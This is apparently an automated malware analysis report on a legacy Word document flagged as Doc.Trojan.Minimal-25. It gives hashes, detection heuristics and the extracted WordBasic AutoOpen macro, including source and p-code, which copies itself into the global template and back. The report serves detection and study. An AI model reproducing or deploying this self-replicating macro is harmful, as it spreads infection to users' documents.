Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dbd32d96fcaac2a2…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-06-29 22:08:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: fbe836963f43b0726c25ae014b9f7c3b SHA-1: 3d6f43b16a728696f4ca8c371d587c60cf529b2f SHA-256: dbd32d96fcaac2a2202ae08262138f924551f99ce16123ebccff997457b78674
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is a legacy Word document containing a WordBasic AUTOEXEC macro named AUTOoPeN. This macro is designed to copy itself using WordBasic's MacroCopy function, which is a common technique for establishing persistence or preparing for the execution of additional malicious code. The presence of this macro and its self-copying behavior strongly suggests a malicious intent, likely to maintain a foothold on the system.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-25 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-25
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1282 bytes
SHA-256: 97363c89c03ab9fb0777279fa5b0aaa933d0ee8cca559bec7e9cf1a0db8a9a97
Detection
ClamAV: Doc.Trojan.Minimal-25
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AUTOoPeN"

Public Sub MAIN()
Dim a$
Dim b$
On Error Resume Next: a$ = WordBasic.[FileName$]() + ":AUTOoPeN"
b$ = "Global:AUTOoPeN": WordBasic.MacroCopy a$, b$
WordBasic.MacroCopy b$, a$, 1
End Sub

' Processing file: /opt/analyzer/scan_staging/6dbb38fefe874072a17f3b8a1baf81d7.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AUTOoPeN - 1169 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError (Resume Next) 
' 	BoS 0x0000 
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AUTOoPeN"
' 	Add 
' 	St a$ 
' Line #5:
' 	LitStr 0x000F "Global:AUTOoPeN"
' 	St B$ 
' 	BoS 0x0000 
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #6:
' 	Ld B$ 
' 	Ld a$ 
' 	LitDI2 0x0001 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #7:
' 	EndSub